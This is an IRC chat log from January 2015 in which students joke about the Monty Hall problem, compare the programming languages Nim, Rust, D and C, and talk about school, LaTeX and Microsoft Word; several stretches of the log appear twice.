[2015-01-28T00:33:15-0500] <@awe> Who knows?
[2015-01-28T00:33:21-0500] <assface> delicious
[2015-01-28T00:36:04-0500] <LittleBobbyTables> What if you know someone buying a goat for 20 million dollars?
[2015-01-28T00:38:52-0500] <alokpathy> I was really confused until I saw "Discussion 2 is on Monty Hall"
[2015-01-28T00:39:52-0500] <alokpathy> Before that I thought "Maybe it's normal to bring goats up in a conversation at any time."
[2015-01-28T00:40:00-0500] <+Tamini> ooh
[2015-01-28T00:40:09-0500] <+Tamini> wait we talked about monty hall during quantum
[2015-01-28T00:40:14-0500] <+Tamini> not the monty hall problem, mind you
[2015-01-28T00:40:17-0500] <+Tamini> monty hall the show.
[2015-01-28T00:40:26-0500] <+Tamini> and the history of black and white tv
[2015-01-28T00:40:31-0500] <alokpathy> wat
[2015-01-28T00:40:43-0500] <+Tamini> well, we were talking about the monty hall problem
[2015-01-28T00:41:03-0500] <+Tamini> then we talked about why it was a big deal
[2015-01-28T00:41:10-0500] <alokpathy> and then you talked about the show? :P
[2015-01-28T00:52:41-0500] <alokpathy> wat
[2015-01-28T00:57:36-0500] <+Tamini> aaron aaron aaron
[2015-01-28T00:58:36-0500] <+Tamini> wait nvm
[2015-01-28T01:00:47-0500] <alokpathy> Alright. G'night guys.
[2015-01-28T01:01:51-0500] <+Tamini> gnight apothy man
[2015-01-28T01:01:58-0500] <+Tamini> get a client/get on znc <3
[2015-01-28T01:22:17-0500] <nezorg> night people
[2015-01-28T09:43:39-0500] <+JacobEdelman> hmmm.. an avg. error of 15060.22608905621 for xoring two bits is probaly bad....
[2015-01-28T10:03:03-0500] <assface> probably
[2015-01-28T11:20:59-0500] <alokpathy> What up with the several bob_twinkles
[2015-01-28T11:25:34-0500] <+JacobEdelman> hes multiplying
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[2015-01-28T11:59:21-0500] <@awe> alokpathy: we talked about Simpson's paradox today. 
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[2015-01-28T13:23:59-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-28T00:29:39-0500] <@awe> nezorg: why would I want a goat?
[2015-01-28T00:29:44-0500] <@awe> nezorg: you could sell the car and buy many goat.s
[2015-01-28T00:30:13-0500] <nezorg> who would want to buy goatse
[2015-01-28T00:30:25-0500] <@awe> goats.
[2015-01-28T00:30:27-0500] <@awe> I said goats.
[2015-01-28T00:31:08-0500] <LittleBobbyTables> Why would you want many goats?
[2015-01-28T00:31:20-0500] <@awe> If you want one goat, presumably many goats is better.
[2015-01-28T00:32:04-0500] <LittleBobbyTables> Not necessarily.
[2015-01-28T00:32:25-0500] <LittleBobbyTables> If you only need one goat for something, then get one goat. If you get more than one, you're stuck with the extra.
[2015-01-28T00:32:46-0500] <@awe> You could sell the car buy one goat and have money to spare?
[2015-01-28T00:33:00-0500] <@awe> Basically, there's no reason you'd ever want the goat over the car because a car is higher in value than a goat.
[2015-01-28T00:33:07-0500] <@awe> Unless there's some reason you wanted that particular goat.
[2015-01-28T00:33:12-0500] <@awe> Maybe it's a kinky goat.
[2015-01-28T00:33:15-0500] <@awe> Who knows?
[2015-01-28T00:33:21-0500] <assface> delicious
[2015-01-28T00:36:04-0500] <LittleBobbyTables> What if you know someone buying a goat for 20 million dollars?
[2015-01-28T00:38:52-0500] <alokpathy> I was really confused until I saw "Discussion 2 is on Monty Hall"
[2015-01-28T00:39:52-0500] <alokpathy> Before that I thought "Maybe it's normal to bring goats up in a conversation at any time."
[2015-01-28T00:40:00-0500] <+Tamini> ooh
[2015-01-28T00:40:09-0500] <+Tamini> wait we talked about monty hall during quantum
[2015-01-28T00:40:14-0500] <+Tamini> not the monty hall problem, mind you
[2015-01-28T00:40:17-0500] <+Tamini> monty hall the show.
[2015-01-28T00:40:26-0500] <+Tamini> and the history of black and white tv
[2015-01-28T00:40:31-0500] <alokpathy> wat
[2015-01-28T00:40:43-0500] <+Tamini> well, we were talking about the monty hall problem
[2015-01-28T00:41:03-0500] <+Tamini> then we talked about why it was a big deal
[2015-01-28T00:41:10-0500] <alokpathy> and then you talked about the show? :P
[2015-01-28T00:52:41-0500] <alokpathy> wat
[2015-01-28T00:57:36-0500] <+Tamini> aaron aaron aaron
[2015-01-28T00:58:36-0500] <+Tamini> wait nvm
[2015-01-28T01:00:47-0500] <alokpathy> Alright. G'night guys.
[2015-01-28T01:01:51-0500] <+Tamini> gnight apothy man
[2015-01-28T01:01:58-0500] <+Tamini> get a client/get on znc <3
[2015-01-28T01:22:17-0500] <nezorg> night people
[2015-01-28T09:43:39-0500] <+JacobEdelman> hmmm.. an avg. error of 15060.22608905621 for xoring two bits is probaly bad....
[2015-01-28T10:03:03-0500] <assface> probably
[2015-01-28T11:20:59-0500] <alokpathy> What up with the several bob_twinkles
[2015-01-28T11:25:34-0500] <+JacobEdelman> hes multiplying
[2015-01-28T11:59:18-0500] <@awe> alokpathy: we talked about Simpson's paradox today. 
[2015-01-28T12:37:44-0500] <Hyper> JacobEdelman: 15000 error on anything is pretty bad
[2015-01-28T12:37:51-0500] <Hyper> get your shit together :)
[2015-01-28T12:48:10-0500] <+JacobEdelman> I got it down to 0 error
[2015-01-28T12:48:16-0500] <+JacobEdelman> neural networks are fun
[2015-01-28T12:52:23-0500] <Hyper> lol
[2015-01-28T12:58:34-0500] <Hyper> I've been meaning to implement neural nets again
[2015-01-28T12:58:55-0500] <Hyper> probably in a less OOP style because efficiency lel
[2015-01-28T13:00:34-0500] <+JacobEdelman> I'm doing that
[2015-01-28T13:00:38-0500] <+JacobEdelman> I'm using nim!
[2015-01-28T13:00:56-0500] <+JacobEdelman> my first program in nim is neural nets
[2015-01-28T13:00:58-0500] <+JacobEdelman> its fun
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[2015-01-28T00:29:39-0500] <@awe> nezorg: why would I want a goat?
[2015-01-28T00:29:44-0500] <@awe> nezorg: you could sell the car and buy many goat.s
[2015-01-28T00:30:13-0500] <nezorg> who would want to buy goatse
[2015-01-28T00:30:25-0500] <@awe> goats.
[2015-01-28T00:30:27-0500] <@awe> I said goats.
[2015-01-28T00:31:08-0500] <LittleBobbyTables> Why would you want many goats?
[2015-01-28T00:31:20-0500] <@awe> If you want one goat, presumably many goats is better.
[2015-01-28T00:32:04-0500] <LittleBobbyTables> Not necessarily.
[2015-01-28T00:32:25-0500] <LittleBobbyTables> If you only need one goat for something, then get one goat. If you get more than one, you're stuck with the extra.
[2015-01-28T00:32:46-0500] <@awe> You could sell the car buy one goat and have money to spare?
[2015-01-28T00:33:00-0500] <@awe> Basically, there's no reason you'd ever want the goat over the car because a car is higher in value than a goat.
[2015-01-28T00:33:07-0500] <@awe> Unless there's some reason you wanted that particular goat.
[2015-01-28T00:33:12-0500] <@awe> Maybe it's a kinky goat.
[2015-01-28T00:33:15-0500] <@awe> Who knows?
[2015-01-28T00:33:21-0500] <assface> delicious
[2015-01-28T00:36:04-0500] <LittleBobbyTables> What if you know someone buying a goat for 20 million dollars?
[2015-01-28T00:38:52-0500] <alokpathy> I was really confused until I saw "Discussion 2 is on Monty Hall"
[2015-01-28T00:39:52-0500] <alokpathy> Before that I thought "Maybe it's normal to bring goats up in a conversation at any time."
[2015-01-28T00:40:00-0500] <+Tamini> ooh
[2015-01-28T00:40:09-0500] <+Tamini> wait we talked about monty hall during quantum
[2015-01-28T00:40:14-0500] <+Tamini> not the monty hall problem, mind you
[2015-01-28T00:40:17-0500] <+Tamini> monty hall the show.
[2015-01-28T00:40:26-0500] <+Tamini> and the history of black and white tv
[2015-01-28T00:40:31-0500] <alokpathy> wat
[2015-01-28T00:40:43-0500] <+Tamini> well, we were talking about the monty hall problem
[2015-01-28T00:41:03-0500] <+Tamini> then we talked about why it was a big deal
[2015-01-28T00:41:10-0500] <alokpathy> and then you talked about the show? :P
[2015-01-28T00:52:41-0500] <alokpathy> wat
[2015-01-28T00:57:36-0500] <+Tamini> aaron aaron aaron
[2015-01-28T00:58:36-0500] <+Tamini> wait nvm
[2015-01-28T01:00:47-0500] <alokpathy> Alright. G'night guys.
[2015-01-28T01:01:51-0500] <+Tamini> gnight apothy man
[2015-01-28T01:01:58-0500] <+Tamini> get a client/get on znc <3
[2015-01-28T01:22:17-0500] <nezorg> night people
[2015-01-28T09:43:39-0500] <+JacobEdelman> hmmm.. an avg. error of 15060.22608905621 for xoring two bits is probaly bad....
[2015-01-28T10:03:03-0500] <assface> probably
[2015-01-28T11:20:59-0500] <alokpathy> What up with the several bob_twinkles
[2015-01-28T11:25:34-0500] <+JacobEdelman> hes multiplying
[2015-01-28T11:59:18-0500] <@awe> alokpathy: we talked about Simpson's paradox today. 
[2015-01-28T12:37:44-0500] <Hyper> JacobEdelman: 15000 error on anything is pretty bad
[2015-01-28T12:37:51-0500] <Hyper> get your shit together :)
[2015-01-28T12:48:10-0500] <+JacobEdelman> I got it down to 0 error
[2015-01-28T12:48:16-0500] <+JacobEdelman> neural networks are fun
[2015-01-28T12:52:23-0500] <Hyper> lol
[2015-01-28T12:58:34-0500] <Hyper> I've been meaning to implement neural nets again
[2015-01-28T12:58:55-0500] <Hyper> probably in a less OOP style because efficiency lel
[2015-01-28T13:00:34-0500] <+JacobEdelman> I'm doing that
[2015-01-28T13:00:38-0500] <+JacobEdelman> I'm using nim!
[2015-01-28T13:00:56-0500] <+JacobEdelman> my first program in nim is neural nets
[2015-01-28T13:00:58-0500] <+JacobEdelman> its fun
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[2015-01-28T13:26:29-0500] <Hyper> JacobEdelman: how's nim?
[2015-01-28T13:26:49-0500] <@awe> "like Python"
[2015-01-28T13:27:00-0500] <Hyper> Most of the stuff I've heard is from people trying to evangelize it, so I'd like some more objective opinions
[2015-01-28T13:27:08-0500] <@awe> Jacob is already evangelizing it.
[2015-01-28T13:27:16-0500] <@awe> Because he's extending his evangelization of Python to Nim.
[2015-01-28T13:27:27-0500] <Hyper> awe: If I had a dollar for every language that is "like python" I'd have a nonzero number of dollars
[2015-01-28T13:28:03-0500] <@awe> Jacob believes that significant whitespace in the style of Python is somehow naturally closer to the way people think and therefore objectively superior.
[2015-01-28T13:28:27-0500] <@awe> We've had countless arguments about how that's not true, and there's no way you could prove that that's closer to how people think.
[2015-01-28T13:29:03-0500] <Hyper> awe: I'm more interested in language features than syntactic minutae
[2015-01-28T13:29:24-0500] <@awe> Well, it's GC'd, but it's very fast.
[2015-01-28T13:29:54-0500] <@awe> You can opt into untraced memory. So, you can choose to not use the GC selectively.
[2015-01-28T13:30:24-0500] <@awe> There's no overhead on iterators which is a huge plus if you're coming from a language like Python or C#.
[2015-01-28T13:30:59-0500] <@awe> It's got local type inference as any modern language in their right mind would have.
[2015-01-28T13:31:30-0500] <@awe> It doesn't have the same degree of expressive enumerations available in Rust.
[2015-01-28T13:31:51-0500] <@awe> Macros are able to modify the AST. So, you can write DSLs.
[2015-01-28T13:31:56-0500] <Hyper> that's neat
[2015-01-28T13:32:33-0500] <@awe> Macros, on the other hand, cannot impact the syntax itself.
[2015-01-28T13:33:22-0500] <@awe> Nim also allows you to define operators. So, you can make a library as confusing as lens.
[2015-01-28T13:34:03-0500] <Hyper> sounds like an interesting language, but it fills a niche I don't need right now, so ehh?
[2015-01-28T13:34:09-0500] <@awe> In micro-benchmarks where GC is less of an issue, Nim performs almost identically to C.
[2015-01-28T13:34:20-0500] <@awe> When the GC is getting it hard, it's roughly 2x native.
[2015-01-28T13:34:25-0500] <@awe> Maybe 3x.
[2015-01-28T13:34:36-0500] <@awe> Depends on how much GC pressure obviously.
[2015-01-28T13:35:01-0500] <Hyper> cool
[2015-01-28T13:35:21-0500] <@awe> Overall, it's a very technically impressive language.
[2015-01-28T13:35:32-0500] <@awe> But similarly, I'm not looking for a GC'd systems language.
[2015-01-28T13:36:22-0500] <@awe> I intend to write anything performance-sensitive in Rust, and anything else in Haskell.
[2015-01-28T13:37:42-0500] <Hyper> I intend to write anything performance sensitive in C, anything webdev in python+js, and anything else in D :)
[2015-01-28T13:37:55-0500] <@awe> Why not write performance sensitive code in D?
[2015-01-28T13:38:00-0500] <@awe> Isn't one of the compilers really performant?
[2015-01-28T13:38:02-0500] <Hyper> because I want more practice with C
[2015-01-28T13:38:04-0500] <Hyper> :)
[2015-01-28T13:38:06-0500] <@awe> Ah, okay.
[2015-01-28T13:38:17-0500] <Hyper> the D compilers are really great
[2015-01-28T13:38:19-0500] <@awe> C is nice until you burn yourself.
[2015-01-28T13:38:36-0500] <@awe> Of course, it's very easy to burn yourself.
[2015-01-28T13:38:45-0500] <Hyper> I think working in C++ is giving me carpal tunnel
[2015-01-28T13:38:50-0500] <Hyper> so many ampersands
[2015-01-28T13:38:50-0500] <@awe> Lol. I'd believe it.
[2015-01-28T13:39:38-0500] <@awe> Oh, also, Hyper, the GC in Nim is thread-local which is very cool.
[2015-01-28T13:40:28-0500] <Hyper> that's neat
[2015-01-28T13:46:20-0500] <@awe> Hyper: and there's a disjoint checker for parallel code to avoid data races.
[2015-01-28T13:49:36-0500] <@awe> Hyper: does D do anything about data races?
[2015-01-28T13:50:00-0500] <Hyper> data is by default thread-local to start with
[2015-01-28T13:50:07-0500] <Hyper> um
[2015-01-28T13:50:17-0500] <Hyper> I'm trying to think, I don't deal with threading much
[2015-01-28T13:50:45-0500] <@awe> That seems to be one of the biggest things that languages like Rust and Nim are trying to address though.
[2015-01-28T13:50:49-0500] <Hyper> I think it offers a synchronized keyword too
[2015-01-28T13:51:11-0500] <Hyper> std.concurrency might offer something nice
[2015-01-28T13:51:19-0500] <@awe> Nim does disjoint checking. Rust just makes data racing logically impossible.
[2015-01-28T13:53:07-0500] <Hyper> yeah i'm not sure
[2015-01-28T13:53:16-0500] <@awe> Well, D is older.
[2015-01-28T13:53:23-0500] <Hyper> not really something i've ever looked into, either
[2015-01-28T13:53:24-0500] <@awe> It might've been before this wave. :p
[2015-01-28T13:54:52-0500] <Hyper> maybe, not sure
[2015-01-28T14:08:33-0500] <+JacobEdelman> nim is good in that I the type saftey has not annoyed me at all so far, it seems to be fast, and it definitely has nice syntax
[2015-01-28T14:08:39-0500] <+JacobEdelman> there are some big areas where it is lacking
[2015-01-28T14:08:49-0500] <nezorg> but is the syntax better than lark?
[2015-01-28T14:08:51-0500] <+JacobEdelman> and you can feel that its still needs to be improved
[2015-01-28T14:08:58-0500] <+JacobEdelman> nezorg: of course not :P
[2015-01-28T14:09:04-0500] <nezorg> as I thought
[2015-01-28T14:10:23-0500] <@awe> Type safety isn't annoying, JacobEdelman.
[2015-01-28T14:10:35-0500] <@awe> I don't know how you could be annoyed by type checking at all.
[2015-01-28T14:10:49-0500] <@awe> "Wow. I'm so annoyed that they make my code make sense before I can run it!"
[2015-01-28T14:11:23-0500] <Hyper> ^^
[2015-01-28T14:13:25-0500] <@awe> Guys, I mastered alchemy.
[2015-01-28T14:13:33-0500] <@awe> unsafe { transmute::<gold>(lead) }
[2015-01-28T14:15:17-0500] <+JacobEdelman> awe: do I make sense?
[2015-01-28T14:15:31-0500] <Hyper> awe: I can guaruntee that explodes, it's unsafe and everyone knows cosmic rays don't like alchemy
[2015-01-28T14:15:45-0500] <@awe> JacobEdelman: Except when you actively try not to.
[2015-01-28T14:15:56-0500] <@awe> Hyper: it'll work as long as lead and gold are of the same size and alignment.
[2015-01-28T14:16:06-0500] <+JacobEdelman> awe: really? I'm disappointed in myself
[2015-01-28T14:16:16-0500] <@awe> Hyper: I'm transmuting between a gram and a gram. So, they're of the same size obviously.
[2015-01-28T14:16:32-0500] <@awe> Hyper: and I see no reason why they'd be of differing alignments.
[2015-01-28T14:16:36-0500] <+JacobEdelman> awe: I'm confused
[2015-01-28T14:16:39-0500] <Hyper> awe: different atomic numbers :)
[2015-01-28T14:16:52-0500] <@awe> Don't rain on my parade.
[2015-01-28T14:16:53-0500] <@awe> JacobEdelman: why?
[2015-01-28T14:16:57-0500] <Hyper> they contain different numbers of protons and we're obviously storing that in a static array inside of it :)
[2015-01-28T14:17:03-0500] <Hyper> because protons are clearly stateful
[2015-01-28T14:17:08-0500] <+JacobEdelman> JacobEdelman: why am I dissapointed or why am I confused?
[2015-01-28T14:17:31-0500] <+JacobEdelman> wait, that was meant to be addressed to awe, not myself
[2015-01-28T14:17:40-0500] <Hyper> JacobEdelman: Introspection is good, but talknig to yourself out loud is considered to be a bit weird
[2015-01-28T14:17:53-0500] <Hyper> :)
[2015-01-28T14:18:16-0500] <@awe> JacobEdelman: why are you confused?
[2015-01-28T14:18:36-0500] <+JacobEdelman> I was confused abotu what you guys were talking about, but now I get it
[2015-01-28T14:18:55-0500] <+JacobEdelman> Hyper: I generally talk to myself in a mirror cause I like reflection
[2015-01-28T14:19:08-0500] <+JacobEdelman> or I duplicate myself and have a meta discussion
[2015-01-28T14:19:36-0500] <@awe> I see.
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[2015-01-28T14:21:09-0500] <+JacobEdelman> ... that metaphor works, okay
[2015-01-28T14:21:11-0500] <@awe> hi assface.
[2015-01-28T14:21:17-0500] <+JacobEdelman> hello arseface
[2015-01-28T14:21:21-0500] <assface> hola
[2015-01-28T14:21:36-0500] <+JacobEdelman> also, I'm giving a talk on intro to python in a bit to my schools cs club
[2015-01-28T14:21:36-0500] <@awe> How are you?
[2015-01-28T14:22:43-0500] <@awe> JacobEdelman: I should come in and give a talk on type systems.
[2015-01-28T14:23:07-0500] <+JacobEdelman> awe: you should
[2015-01-28T14:23:10-0500] <+JacobEdelman> you are welcome any time
[2015-01-28T14:24:11-0500] <@awe> Maybe after the semester ends.
[2015-01-28T14:25:04-0500] <@awe> It's over in early May. So, there'd be some time.
[2015-01-28T14:25:14-0500] <+JacobEdelman> pop quiz, what curve is this
[2015-01-28T14:25:15-0500] <+JacobEdelman> http://tinypic.com/view.php?pic=1z2q4aa&s=8#.VMk3q8ui5Co
[2015-01-28T14:25:33-0500] <+JacobEdelman> awe: you gotta come over and we can have an hsctf reunion
[2015-01-28T14:25:47-0500] <+JacobEdelman> ben will be out too, and hopefully ernest and berger too
[2015-01-28T14:27:41-0500] <+JacobEdelman> hmmm... I think the curve is 1/ln(x)
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[2015-01-28T14:35:16-0500] <nezorg> maybe I should start a CS club
[2015-01-28T14:35:23-0500] <nezorg> there are more people interested here than I originally thought
[2015-01-28T14:35:45-0500] <assface> i'd go
[2015-01-28T14:35:50-0500] <+JacobEdelman> i'll go
[2015-01-28T14:35:55-0500] <+JacobEdelman> nezorg: where are you again?
[2015-01-28T14:36:07-0500] <assface> gypsieland
[2015-01-28T14:36:08-0500] <nezorg> assface: there are a handful of girls that've been going to hackathons that might be interested too
[2015-01-28T14:36:11-0500] <nezorg> JacobEdelman: socal
[2015-01-28T14:36:27-0500] <assface> nezorg: k
[2015-01-28T14:36:49-0500] <nezorg> do you have a club on mondays?
[2015-01-28T14:36:53-0500] <+JacobEdelman> nezorg: I'm assuming you mean southern californai, not South Callaway 
[2015-01-28T14:37:05-0500] <assface> nezorg: I don't have any clubs
[2015-01-28T14:37:06-0500] <nezorg> JacobEdelman: no, I definitely live in south callaway
[2015-01-28T14:37:09-0500] <nezorg> assface: alright
[2015-01-28T14:37:35-0500] <nezorg> JacobEdelman: missouri is a wonderful place full of tolerance
[2015-01-28T14:38:07-0500] <assface> misery?
[2015-01-28T14:38:16-0500] <nezorg> indeed
[2015-01-28T14:38:39-0500] <@awe> Missouri sucks.
[2015-01-28T14:51:03-0500] <alokpathy> nezorg: could we all Skype your club? :P
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[2015-01-28T15:24:59-0500] <Tamini_> i was translating and i told myself "ill take a break after this one sentence"
[2015-01-28T15:25:16-0500] <Tamini_> then i realized the entire chapter was one sentence offput by commas >___>
[2015-01-28T15:26:30-0500] <assface> that's latin
[2015-01-28T15:28:42-0500] <Tamini_> yes
[2015-01-28T15:29:16-0500] <assface> I used to understand latin
[2015-01-28T15:29:34-0500] <assface> I got a magna cum laude on the NLE
[2015-01-28T15:31:31-0500] <Tamini_> ooh nicee
[2015-01-28T15:31:52-0500] <Tamini_> (also i think the guy sitting next to me is solving usaco gold problems would it be weird if i started conversation)
[2015-01-28T15:32:13-0500] <assface> not really, there was someone in my class who got summa cum laude
[2015-01-28T15:32:20-0500] <assface> we had a very good teacher tho
[2015-01-28T15:35:15-0500] <Tamini_> hehe
[2015-01-28T15:35:23-0500] <Tamini_> yeah, our teacher's pretty good
[2015-01-28T15:38:44-0500] <assface> good teachers -> good students
[2015-01-28T15:49:24-0500] <Tamini_> ehh
[2015-01-28T15:49:32-0500] <Tamini_> also good students -> good students
[2015-01-28T15:49:40-0500] <Tamini_> smart kids always get it faster
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[2015-01-28T15:57:48-0500] <@awe> Tamini_: not always true
[2015-01-28T15:57:57-0500] <@awe> Tamini_: sometimes, they just study a ton out of class and pretend they get it faster.
[2015-01-28T15:58:03-0500] <Tamini_> well
[2015-01-28T15:58:08-0500] <@awe> that's actually the more common one.
[2015-01-28T15:58:18-0500] <Tamini_> i'd argue that i put that into the category of smart
[2015-01-28T15:58:29-0500] <Tamini_> i know kids that try a ton and still dont get it
[2015-01-28T15:59:06-0500] <@awe> You don't "get things faster" if you spend fifteen hours out of class studying it.
[2015-01-28T15:59:11-0500] <@awe> You just spent more time on it.
[2015-01-28T15:59:13-0500] <@awe> Which is fine, I guess.
[2015-01-28T15:59:42-0500] <@awe> But many of the students who appear to get things quickly are often just doing that.
[2015-01-28T16:12:26-0500] <Tamini_> yeah, true
[2015-01-28T16:12:41-0500] <Tamini_> but some kids also get it with less effort due to prior knowledge and whatnot
[2015-01-28T16:48:14-0500] <alokpathy> ^^
[2015-01-28T16:54:14-0500] <Tamini_> tis a good thing
[2015-01-28T16:54:26-0500] <Tamini_> if you're good at one thing it makes errything easier
[2015-01-28T16:54:37-0500] <nezorg> can confirm
[2015-01-28T16:56:05-0500] <+JacobEdelman> and some kids just bluff their way through school pretending to be smart
[2015-01-28T16:57:33-0500] • JacobEdelman: got into mutli by pretending he knew such advanced concepts as "derivatives", "conic sections", and "multiplication"
[2015-01-28T16:57:56-0500] • JacobEdelman: also still doesn't know how to spell mulit
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[2015-01-28T17:00:55-0500] <alokpathy> I think I accidentally tricked kids into thinking I'm smart.
[2015-01-28T17:01:10-0500] <Tamini_> lol
[2015-01-28T17:01:11-0500] <Tamini_> me too!
[2015-01-28T17:01:30-0500] <Tamini_> but its annoying because they dont believe you when you're sad because you're bad at things
[2015-01-28T17:01:35-0500] <Tamini_> and they laugh at your pain
[2015-01-28T17:13:41-0500] <+JacobEdelman> .... I work very hard and have managed to disabuse many of the idea I am smart
[2015-01-28T17:13:51-0500] <+JacobEdelman> clearly I am very intelligent to be able to do that
[2015-01-28T17:13:52-0500] <+JacobEdelman> oh wait
[2015-01-28T17:13:57-0500] • JacobEdelman: face palms
[2015-01-28T17:15:35-0500] <Tamini_> :P
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[2015-01-28T19:37:14-0500] <+hardmath123> Microsoft Word is a MONSTER.
[2015-01-28T19:37:21-0500] <+Tamini> what happened?
[2015-01-28T19:37:45-0500] <assface> >he uses microshit products
[2015-01-28T19:40:16-0500] <+hardmath123> I didn't intend to.
[2015-01-28T19:40:32-0500] <+hardmath123> I clicked on a file I'm expected to read for my French class.
[2015-01-28T19:40:35-0500] <assface> that's what hitler said
[2015-01-28T19:40:45-0500] <+hardmath123> Hitler took French?
[2015-01-28T19:40:52-0500] <assface> he used Microsoft Word
[2015-01-28T19:40:58-0500] <assface> but he "didn't mean to"
[2015-01-28T19:41:13-0500] <+hardmath123> Anyhow, Schoology decided that when I click "view", it means I want to download the file.
[2015-01-28T19:41:28-0500] <+hardmath123> Safari decided that as soon as it downloaded, it had to open it for me.
[2015-01-28T19:41:31-0500] <jwoglom> uninstall word then :P
[2015-01-28T19:41:55-0500] <+hardmath123> Microsoft Word decided it was the most qualified application to do the job, and so got itself launched.
[2015-01-28T19:42:14-0500] <assface> lol
[2015-01-28T19:42:46-0500] <assface> >he uses Crapple OS XXX
[2015-01-28T19:42:57-0500] <assface> er, sorry
[2015-01-28T19:43:37-0500] <assface> >Crapple Mackin' crotch
[2015-01-28T19:44:33-0500] <jwoglom> office for mac is pretty shitty
[2015-01-28T19:46:30-0500] <assface> office is pretty shitty in general
[2015-01-28T19:49:59-0500] <jwoglom> i'd be nice if there was a version for macs that was newer than 2011 *cough cough*
[2015-01-28T19:50:03-0500] <jwoglom> *it'd
[2015-01-28T19:50:13-0500] <@awe> What, no?
[2015-01-28T19:50:15-0500] <@awe> Office is wonderful.
[2015-01-28T19:50:17-0500] <@awe> Office is the best thing ever.
[2015-01-28T19:50:19-0500] <@awe> What are you talking about?
[2015-01-28T19:50:25-0500] <jwoglom> it's freaking 4 years old at this point
[2015-01-28T19:58:10-0500] <@awe> Office is literally the best software anyone has ever written ever, jwoglom.
[2015-01-28T19:58:16-0500] <@awe> Don't try to argue with it, woggles.
[2015-01-28T19:58:21-0500] <@awe> SEARCH YOUR HEART.
[2015-01-28T19:58:24-0500] <@awe> YOU KNOW IT TO BE TRUE.
[2015-01-28T19:59:01-0500] <jwoglom> awe: damn, my nickname's spread into here too? :P
[2015-01-28T19:59:07-0500] <@awe> Yes, woggles, yes.
[2015-01-28T19:59:28-0500] <jwoglom> Wonderful, awe, wonderful
[2015-01-28T19:59:52-0500] <@awe> :)
[2015-01-28T20:00:36-0500] <assface> woggles?
[2015-01-28T20:01:04-0500] <jwoglom> awe: how/why did Tamini tell you this, lol
[2015-01-28T20:01:26-0500] <jwoglom> assface: woglom => woggles, apparently
[2015-01-28T20:01:45-0500] <alokpathy> Woggles :D
[2015-01-28T20:02:02-0500] <@awe> You were here when I found out about it?
[2015-01-28T20:02:37-0500] <jwoglom> ah lol it was brought up in here before
[2015-01-28T20:02:47-0500] <jwoglom> 2015-01-04 00:15:01   +Tamini woggles pls
[2015-01-28T20:02:49-0500] <jwoglom> 2015-01-04 00:15:50   @awe    jwoglom: I like the nickname woggles.
[2015-01-28T20:03:58-0500] <@awe> See.
[2015-01-28T20:06:42-0500] <ubuntor> whoa, desmume x432r is a thing
[2015-01-28T20:08:17-0500] <+hardmath123> I'm trying to achieve a balance between "pretty, presentable work" without being "twit who uses LaTeX for the sake of it", and have ended up implementing something close to MLA in LaTeX.
[2015-01-28T20:08:52-0500] <assface> ascii is best encoding
[2015-01-28T20:09:13-0500] <assface> nunna that extended ascii either
[2015-01-28T20:09:23-0500] <assface> 128 characters is all you need
[2015-01-28T20:10:04-0500] <+hardmath123> I turned in an assignment as a plaintext document once.
[2015-01-28T20:10:22-0500] <+Tamini> lolol
[2015-01-28T20:10:28-0500] <+Tamini> i've latexed my english essays before
[2015-01-28T20:10:32-0500] <alokpathy> assface: I too like to live on the edge.
[2015-01-28T20:10:42-0500] <+Tamini> ...wait... I need to start LaTeXing my apush dbqs
[2015-01-28T20:10:44-0500] <+Tamini> and lol
[2015-01-28T20:10:48-0500] <assface> lol
[2015-01-28T20:10:49-0500] <alokpathy> I want to LaTeX a physics lab, but they're always in groups and none of my group members want to .-.
[2015-01-28T20:10:53-0500] <+Tamini> alokpathy: get a damn bouncer
[2015-01-28T20:10:55-0500] <+Tamini> and uhh
[2015-01-28T20:10:56-0500] <assface> im so glad I dont have to do history anymore
[2015-01-28T20:10:58-0500] <+Tamini> alokpathy, 
[2015-01-28T20:11:02-0500] <+Tamini> did i show you my lab from last year
[2015-01-28T20:11:08-0500] <alokpathy> Tamini: Yes :P
[2015-01-28T20:11:12-0500] <+Tamini> the really pretty LaTeX that took 10 hours
[2015-01-28T20:11:13-0500] <+Tamini> yes
[2015-01-28T20:11:18-0500] <+Tamini> that is how physics is MEANT TO BE DONE
[2015-01-28T20:11:22-0500] <+hardmath123> alokpathy: learn to weechat.
[2015-01-28T20:11:33-0500] <assface> physics is meant to be done in scribbled handwriting
[2015-01-28T20:12:01-0500] <+hardmath123> in margins that are too small to contain the real answers.
[2015-01-28T20:12:05-0500] <assface> ^
[2015-01-28T20:12:09-0500] <assface> same with math
[2015-01-28T20:12:15-0500] <+Tamini> lol
[2015-01-28T20:12:22-0500] <+Tamini> hardmath123: do you think you're fermat or something
[2015-01-28T20:12:29-0500] <assface> *format
[2015-01-28T20:12:51-0500] <+Tamini> also alokpathy: isnt our orgo class super cute
[2015-01-28T20:29:56-0500] <+JacobEdelman> I did an la essay in markdown
[2015-01-28T20:30:01-0500] <+Tamini> lol
[2015-01-28T20:30:35-0500] <+JacobEdelman> also
[2015-01-28T20:30:46-0500] <+JacobEdelman> why did I get stuck with the nickname jedelman?
[2015-01-28T20:30:57-0500] <+JacobEdelman> woggles is so much better
[2015-01-28T20:31:06-0500] <+JacobEdelman> Tamini: come up with a better nickname for me
[2015-01-28T20:31:10-0500] <jwoglom> JacobEdelman: better than what? :P
[2015-01-28T20:31:22-0500] <jwoglom> also, it was claudia who came up with it
[2015-01-28T20:31:25-0500] <+JacobEdelman> Tamini called me jedelman last nigh
[2015-01-28T20:31:31-0500] <+JacobEdelman> fine, somebody
[2015-01-28T20:31:36-0500] <+JacobEdelman> come up with a good nick name for me
[2015-01-28T20:31:44-0500] <+JacobEdelman> I mean, ezra already has an awesome nick
[2015-01-28T20:31:53-0500] <+JacobEdelman> (The_Master)
[2015-01-28T20:31:56-0500] <+JacobEdelman> gtg
[2015-01-28T20:33:38-0500] <assface> dingus is a good nickname
[2015-01-28T20:37:20-0500] <assface> what the fuck clang
[2015-01-28T20:37:32-0500] <assface> stop telling me that's not a pointer
[2015-01-28T21:12:30-0500] <+hardmath123> wooow half an hour spent on typesetting a single chemical reaction is soooo satisfying
[2015-01-28T21:13:11-0500] <@awe> I should make a functional language called Dingus.
[2015-01-28T21:14:42-0500] <assface> would it be designed specifically for use by dinguses?
[2015-01-28T21:14:55-0500] <+Tamini> lol hardmath123 
[2015-01-28T21:14:58-0500] <+Tamini> in what?
[2015-01-28T21:15:04-0500] <+Tamini> and why does it take that much effort, smh
[2015-01-28T21:16:16-0500] <assface> Tamini: well, since he's probably lazy, flex+bison+llvm parts
